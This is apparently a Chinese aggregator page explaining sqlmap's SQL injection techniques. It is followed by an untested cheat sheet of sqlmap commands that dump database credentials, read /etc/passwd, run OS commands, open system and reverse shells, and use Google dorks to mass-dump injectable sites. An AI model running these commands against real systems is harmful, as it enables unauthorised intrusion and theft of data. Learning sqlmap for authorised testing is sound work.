sqlmap怎么注入sql server

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqlmap怎么注入sql server相关的知识,希望对你有一定的参考价值。

当给sqlmap这么一个url的时候,它会:
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有:
mysql, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。
测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。
参考技术A 当给sqlmap这么一个url的时候,它会:
1、判断可注入的参数

2、判断可以用那种SQL注入技术来注入

3、识别出哪种数据库

4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。
测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。

初识sql注入及sqlmap

对于sql注入小白的我,上午在红黑联盟的网站上恶补了一下sql注入的基础知识,(走马观花)似乎明白sql注入是怎么一回事,也看了一些关于sqlmap的资料,再次记录一下吧

下面是关于sqlmap这个工具的介绍,发现几篇介绍sqlmap的文章(自己觉得不错):有一篇叫《sql注入之sqlmap入门》的文章介绍了sqlmap,

文章来源:http://www.freebuf.com/articles/web/29942.html

《安全攻防之SQL注入(通过sqlmap搞定所有问题)》

文章来源:http://www.cnblogs.com/Javame/p/3753060.html

《sqlmap 简单mysql注入演示[附截图]》

文章来源:http://www.jb51.net/softjc/63593.html

《sqlmap 入门级使用(简易教程)》

文章来源:http://www.jb51.net/softjc/385336.html

下面只部分引用原本几点来简单介绍一下sqlmap,关于sqlmap的手册后面会转载文章:

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

下载地址:https://github.com/sqlmapproject/sqlmap/

运行代码:(下面代码直接copy第二篇文章的,并未测试是否可以正常运行;假设已经进入到解压的sqlmap文件里面进行操作)

1.基础信息

python sqlmap.py -u "http://url/news?id=1" --current-user #获取当前用户名称 
python sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称
python sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名 
python sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
python sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容

2.信息内容

python sqlmap.py -u "http://url/news?id=1"  --smart  --level 3 --users  # smart智能 level  执行测试等级
python sqlmap.py -u "http://url/news?id=1"  --dbms "Mysql" --users  # dbms 指定数据库类型
python sqlmap.py -u "http://url/news?id=1"    --users  #列数据库用户
python sqlmap.py -u "http://url/news?id=1"    --dbs#列数据库 
python sqlmap.py -u "http://url/news?id=1"   --passwords #数据库用户密码 
python sqlmap.py -u "http://url/news?id=1"   --passwords-U root  -v 0 #列出指定用户数据库密码
python sqlmap.py -u "http://url/news?id=1"     --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20  #列出指定字段,列出20条 
python sqlmap.py -u "http://url/news?id=1"    --dump-all -v 0 #列出所有数据库所有表
python sqlmap.py -u "http://url/news?id=1"   --privileges #查看权限 
python sqlmap.py -u "http://url/news?id=1"   --privileges -U root #查看指定用户权限
python sqlmap.py -u "http://url/news?id=1"    --is-dba -v 1 #是否是数据库管理员
python sqlmap.py -u "http://url/news?id=1"    --roles #枚举数据库用户角色 
python sqlmap.py -u "http://url/news?id=1"   --udf-inject #导入用户自定义函数(获取系统权限!)
python sqlmap.py -u "http://url/news?id=1"   --dump-all --exclude-sysdbs -v 0 #列出当前库所有表
python sqlmap.py -u "http://url/news?id=1"   --union-cols #union 查询表记录 
python sqlmap.py -u "http://url/news?id=1"   --cookie "COOKIE_VALUE" #cookie注入
python sqlmap.py -u "http://url/news?id=1"   -b #获取banner信息
python sqlmap.py -u "http://url/news?id=1" --data "id=3"  #post注入
python sqlmap.py -u "http://url/news?id=1"  -v 1 -f #指纹判别数据库类型 
python sqlmap.py -u "http://url/news?id=1"  --proxy"http://127.0.0.1:8118" #代理注入
python sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"  #指定关键词
python sqlmap.py -u "http://url/news?id=1"   --sql-shell #执行指定sql命令
python sqlmap.py -u "http://url/news?id=1"   --file /etc/passwd 
python sqlmap.py -u "http://url/news?id=1"   --os-cmd=whoami #执行系统命令
python sqlmap.py -u "http://url/news?id=1"   --os-shell #系统交互shell
python sqlmap.py -u "http://url/news?id=1"   --os-pwn #反弹shell 
python sqlmap.py -u "http://url/news?id=1"   --reg-read #读取win系统注册表
python sqlmap.py -u "http://url/news?id=1"    --dbs-o "sqlmap.log" #保存进度 
python sqlmap.py -u "http://url/news?id=1"    --dbs  -o "sqlmap.log" --resume  #恢复已保存进度sqlmap -g "google语法" --dump-all --batch  #google搜索注入点自动 跑出所有字段攻击实例
python sqlmap.py -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password

 

以上是关于sqlmap怎么注入sql server的主要内容,如果未能解决你的问题,请参考以下文章

sqlmap怎么注入ACCESS数据库

sqlmap可以扫描注入点吗

sqlmap注入后,获取到的数据库很多,表也很多,怎么知道账号和密码在哪个地方

SQL注入之Sqlmap使用

SQL学习之SqlMap SQL注入

SQL注入攻击之sqlmap